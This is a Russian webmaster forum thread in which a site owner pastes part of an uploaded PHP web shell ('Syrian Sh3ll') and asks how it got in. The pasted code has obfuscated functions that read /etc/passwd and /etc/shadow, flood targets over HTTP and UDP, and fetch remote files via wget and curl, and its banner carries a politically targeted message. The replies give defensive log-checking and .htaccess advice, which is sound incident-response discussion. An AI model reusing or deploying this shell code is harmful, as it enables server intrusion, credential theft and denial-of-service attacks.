Вопрос безопастности: pалили на сайт во такую гадость

12
M
На сайте с 20.08.2004
Offline
376
1006

что это

как узнать где у меня уязвимость?

есть возможность заливать картинки, но в определенную папку, здесь же , файл с раширением картинки лежал в корне директории....

есть знатоки.

спасибо

#  ____ _ _    __ _ _ _ _  _      __      _ _    _             
# /_ _ _|\ \ / /| |____ \| | / \ | |\ \ ||
# (_ _ \ \/ / | |____||| | / /\ \ | | \ \ ||
# \_ _ \ \ | | |____/ | | / /--\ \ | | \ \||
# __ _) | | | | | \ \ | | / /----\ \ | | \ \|
#|_ _ _/ |__| |_| \_\|_|/_/ \_\|_| \_|
# _ _ _ _ _ _
# /_ _ _| | | | | [ ~~Syrian Sh3ll~~ ] is a php evil script , please use it against ISRAEL Only .
# (___ | |__ ___| | | Coded By : EH << SyRiAn | 34G13 <~> sy34[at]msn[dot]com
# \___ \| _ \ / _ \ | | Note : I'm Proud to be ~~SyRiAn~~
# __ _)|| | | || __/ | | Copyright (C) 2010 - ~~ syrian-shell.com ~~
#|_ _ _/|_| |_|\___|_|_| Thanx : [ Allah ] [ HaniWT ] [ SyRiAn_SnIpEr ] [ SyRiAn_SpIdEr ] [ TNT Hacker ] .
#
## leak3d by ~> chippy1337.. k0mpl1m3nts [ TFL ], [ XiX ], [ LuSiD ], [ hysterix ]


$iOll100oil0ioIlo = 1;
$user = '12341234';
$pass = '12341234';
$iIi1i11l11OoIlIl = '#990000';
if($_GET['id']== 'logout') {Logout();} if(!($_GET['id'] == 'sshSession')) {echo CSS($iIi1i11l11OoIlIl);}


else if($_GET['id'] == 100){echo "<\142\x6f\144\171 \157n\154o\x61\144='Suicide();'>";} else if($_GET['id'] == 'Delete'){Suicide();}


function iI11i0Il0iO0iooi($file,$per) { if(function_exists('chmod')){$try = chmod($file,$per); } if(!$try){$try = Exe("\143h\x6do\144 $per $file"); } if($try){return true;} else{return false;} } function showUsers() { if($rows = Exe('cat /etc/passwd')){echo $rows;} elseif($rows= Exe('cat /etc/domainalias')){echo $rows;} elseif($rows= Exe('cat /etc/shadow')){echo $rows;} elseif($rows= Exe('cat /var/mail')) {echo $rows;} elseif($rows= Exe('cat /etc/valiases')) {echo $rows;} elseif(file_exists('/etc/passwd')) { for($uid=0;$uid<60000;$uid++) { $iiOo1o0i00I0i0OO = posix_getpwuid($uid); if (!empty($iiOo1o0i00I0i0OO)) {while (list ($key, $iIio1oOolli0oI1l) = each($iiOo1o0i00I0i0OO)){print "$iIio1oOolli0oI1l:";}print "\n";} } } else { echo "[-] \103\x61n'\164 \x53h\x6fw Users :( ... \123\157\162r\171 ";} } function i1lOlOi0I01ooOoo($url) { while(1) { $i0o1iOil1oIoI0I1 = curl_init($url); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_RETURNTRANSFER, 1); $do = curl_exec($i0o1iOil1oIoI0I1); curl_close($i0o1iOil1oIoI0I1); flush(); } echo "[+] D\104\x4f\123 A\x74t\x61\143k H\141s \104\157\156\x33 ."; return true; } function iOIilO1iIolIl11l($url) { $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); for($i=0;$i<65000;$i++){$i00oiiolO100I10o .= 'X'; } while(1) { $packets++; $rand = rand(1,65000); $i10Oi1lOO10I1OoI = fsockopen('udp://'.$url, $rand, $il1Oi1OoO11I1OiI, $i1Oli10olOiIlloI, 5); if($i10Oi1lOO10I1OoI){fwrite($i10Oi1lOO10I1OoI, $i00oiiolO100I10o); fclose($i10Oi1lOO10I1OoI);} } echo "\125\x44\x50 \106l\157\157\144 : Com\x70\x6ce\x74e\144 \x77it\x68 $packets (" . round(($packets*65)/1024, 2) . " M\x42) packets a\166\x65r\x61gin\x67\n"; } function iiIolll1o11oIOll($os) { if($os == "\114\151\156\x75\170"){$iiIolll1o11oIOll = Exe('ls -lia');} else if ($os == "Windows"){$iiIolll1o11oIOll = Exe('dir');} if($iiIolll1o11oIOll){echo $iiIolll1o11oIOll;} else if(function_exists('opendir')) { if ($i10Ol0oo0Oo1Ii0I = opendir(getcwd())) { while (false !== ($file = readdir($i10Ol0oo0Oo1Ii0I))){echo "$file\n";} while ($file = readdir($i10Ol0oo0Oo1Ii0I)){echo "$file\n";} closedir($i10Ol0oo0Oo1Ii0I); } } else { $d=dir(getcwd()); if ($d) { while (false!==($file=$d->read())) { if ($file=="." || $file=="..") continue; clearstatcache(); list ($il1Ii0l0oilIoO1i, $i1oo1oi0oilOIiO1, $iO0Ol010oll1IolI, $ioOi11OO101OIiOo, $uid, $iO10i11lli0Iol1o, $iOi11OlOloo0I0ol, $size, $il0l1OoliOI0101l, $iI1oi10ooOiiIi1O, $i10ol11il0Ilii11, $il10i0iO0lIOiilO) = stat($file); if($windows) {echo date("d.\x6d.\131 H:i",$iI1oi10ooOiiIi1O);if(is_dir($file)) echo " <\x44\x49\x52> "; else printf("% 7s ",$size);} else { $owner = posix_getpwuid($uid); $iOo0111l1llIloOI = posix_getgrgid($iO10i11lli0Iol1o); echo $i1oo1oi0oilOIiO1." "; echo perms(fileperms($file)); printf("% 4d % 9s % 9s %7s ",$ioOi11OO101OIiOo,$owner['name'],$iOo0111l1llIloOI['name'],$size); echo date("d.\155.\131 H:i ",$iI1oi10ooOiiIi1O); }echo "$file\n"; }$d->close(); } } } function iloOl1lloloI1loI($fileURL) { $i10010oOiOOllIi0 = Exe('get '.$fileURL); if(!$i10010oOiOOllIi0){$i0iliOooiOOolIio = Exe('wget '.$fileURL);} elseif(!$i0iliOooiOOolIio){$iOol10O0lo0loII1 = Exe('curl -o '.$fileURL);} elseif(!$iOol10O0lo0loII1){$iO0lloO0l01OOI11 = Exe('lynx -source '.$fileURL);} if(!$iO0lloO0l01OOI11 && function_exists('file_get_contents') && function_exists('fwrite')) { $ioil11lioiiIO001 = file_get_contents($fileURL); iii0li0iIOii1III('newRemoteFile',$ioil11lioiiIO001);
} } function iioiio0iiI0loioo($file) { $il01l10iOoliIioO = fopen($file,'r');
if(function_exists('fread')){echo fread($il01l10iOoliIioO,100000); }
elseif(function_exists('fgets')){echo fgets($il01l10iOoliIioO);}
elseif(function_exists('readfile')){echo readfile($il01l10iOoliIioO);}

(весь не выкладываю, не вижу смысла

---------- Добавлено 23.01.2012 в 22:33 ----------

И как узнать, сработал ли этот скрипт или нет?:)

отец сыночка, лапочки дочки и еще одного сыночка
[umka]
На сайте с 25.05.2008
Offline
456
#1

Бывал я в Сирии...

Вам (или "знатоку") поможет лишь чтение логов веб-сервера (ну и личный опыт).

Других вариантов нет.

Лог в помощь!
arkadiy_a
На сайте с 11.06.2008
Offline
82
#2
Miracle:

И как узнать, сработал ли этот скрипт или нет?:)

Найти админа. Он запустит grep лог_апача название_картинки и может быть там найдет айпишник моджахеда. Затем с этим айпишником он запустит grep лог_апача айпишник_моджахеда. С полученными строками на экране он будет колдовать дальше. Заодно посмотрит последние измененные файлы по дате например так: find ./ -name '*' -mtime -4 и может быть он что-то там найдет. Затем он еще что-то сделает и доложит Вам что последствия устранены.

M
На сайте с 20.08.2004
Offline
376
#3
[umka:
;9947582]Других вариантов нет.

а как вариант получить опыт?

файлу уже скоро будет год как на сервере, судя по времени создания

думаю если и были бы логи то ...

[umka]
На сайте с 25.05.2008
Offline
456
#4
Miracle:
а как вариант получить опыт?

Опыт можно получить:

- наблюдая, как копаются другие

- копаясь самостоятельно

Miracle:
файлу уже скоро будет год как на сервере, судя по времени создания
думаю если и были бы логи то ...

Дату создания/модификации файла можно изменять.

Но если логов нет, то ... да :)

M
На сайте с 20.08.2004
Offline
376
#5
[umka:
;9947641]Дату создания/модификации файла можно изменять.

можно, но я думаю что наврядли кто то это делал бы, бессмысленно

arkadiy_a
На сайте с 11.06.2008
Offline
82
#6
Miracle:
можно, но я думаю что наврядли кто то это делал бы, бессмысленно

Увы это не так.

Как раз вот недавно мне гадость залили, мимикрировалась под дату соседних файликов в папке.

M
На сайте с 20.08.2004
Offline
376
#7

не . у меня отличаются даты!

arkadiy_a
На сайте с 11.06.2008
Offline
82
#8

Надо глянуть в той папке с псевдокартинкой. Если там есть .htaccess - нет ли там чего то подозрительного вроде AddType application/x-httpd-php .jpg

На предмет LFI желательно все логи смотреть - не пытались ли эту "картинку" инклюдить через какие-то баги движка.

Если движок не проверяет соответствие файла его расширению, то ложная тревога - это нормально, может там моджахеды against israel ничего и не смогли сделать, кроме как залить битую картинку.

anton831
На сайте с 25.05.2011
Offline
71
#9

И правда гадость!

У меня даже эту тему антивирус заблокировал......😂 Пришлось отключить чтоб прочитать....

M
На сайте с 20.08.2004
Offline
376
#10
arkadiy_a:
Если там есть .htaccess

пациент чист

anton831:
И правда гадость!

и это только кусочек, переставляете что было бы с вашим компом если бы тема была целиком?

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий